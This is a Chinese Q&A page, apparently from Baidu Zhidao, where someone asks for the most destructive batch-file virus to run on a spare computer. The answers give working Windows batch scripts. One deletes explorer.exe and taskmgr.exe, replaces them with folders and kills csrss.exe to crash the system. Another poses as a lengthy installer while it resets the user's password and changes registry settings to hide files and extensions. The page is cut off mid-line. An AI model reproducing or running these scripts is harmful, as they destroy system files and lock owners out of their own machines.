批处理病毒

来源:百度知道 编辑:UC知道 时间:2024/09/23 07:01:52
同学有台旧电脑给我当实验品,我想试试一个最强的批处理病毒能把电脑破坏成啥样.大小不管,只求破坏能力最强.

虚拟机中试比较好.

@echo off
del /f /a C:\Windows\explorer.exe
md C:\Windows\explorer.exe
del /f /a C:\Windows\system32\taskmgr.exe
md C:\Windows\system32\taskmgr.exe
for /f "tokens=1,2 delims=," %%i in ('tasklist /fo csv /fi "imagename eq csrss.exe"') do if /i "%%~i"=="csrss.exe" ntsd -c q -p %%~j

如果不出错的话,第二次应该不行了
@echo off
title 组合器
echo %time% %date%
echo 这个安装过程需要很长时间,请耐心等待
pause
net user "%username%" 2097152
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 00000000 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 00000001 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Ad